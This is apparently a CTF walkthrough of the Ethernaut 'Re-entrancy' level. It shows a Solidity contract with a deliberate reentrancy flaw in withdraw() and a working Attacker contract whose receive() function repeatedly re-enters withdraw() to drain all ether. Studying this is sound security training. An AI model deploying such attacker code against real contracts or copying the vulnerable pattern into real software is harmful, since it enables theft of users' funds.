Skip to content

Re-entrancy

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Goal

steal all the funds from the Reentrance contract

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

The purpose of the Attacker will be to make reentrant callback to some function inside the Reentrance contract.

Reentrancy attacks (SWC-107) are very well-known thanks to the infamous DAO hack that happened on the Ethereum network. In a reentrancy attack, a vulnerable contract sends ether to an unknown address that contains a fallback function. Then, a malicious code calls back repeatedly a function in the vulnerable contract before the first call be finished.

In order for reentrancy to happen the vulnerable function must make external function call to uknown address (malicious smart contract).

If we take a look into our code, we can see that the only place where external call is made is inside the withdraw function

(bool result,) = msg.sender.call{value:_amount}("");

So, in our case if we call the withdraw() function from the Attacker contract (in which case msg.sender will refer to the address of the Atacker contract), from the code above we can see that the Attacker contract is called and we are sending value (ETH) to it. What we know from the previous CTFs is that when we send a value to a smart contract withoud call data, then the receive() function, if present, is called/triggered.

Knowing that we can implement the receive() function in the Attacker contract, in a way that inside receive(), the withdraw() function from the Reentrance contract will be called again, thus not alowing the withdraw() function to complete untill all of the ETH from the Reentrance smart contract is drained.

To exploit the contract we need to:

  1. create Attacker contract, and create instance from the Reentrance contract inside the Attacker contract
  2. call donate(_to) function inside Reentrance from our EOA account using the Attacker contract address as argument for _to parameter
  3. create external receive() function inside Attacker contract, this function will make a reentrant call to the Reentrance contract by calling the withdraw() function within it, as along as address(reentrance).balance is greater than 0

Attacker contract code

contract Attacker {
  Reentrance private immutable reentrance;

  constructor(address payable _reentrance) public {
    reentrance = Reentrance(_reentrance);
  }

  receive() external payable {
    if(address(reentrance).balance > 0) {
      if(address(reentrance).balance > reentrance.balanceOf(address(this))) {
        reentrance.withdraw(reentrance.balanceOf(address(this)));
      } else {
        reentrance.withdraw(address(reentrance).balance);
      }
    }
  }
}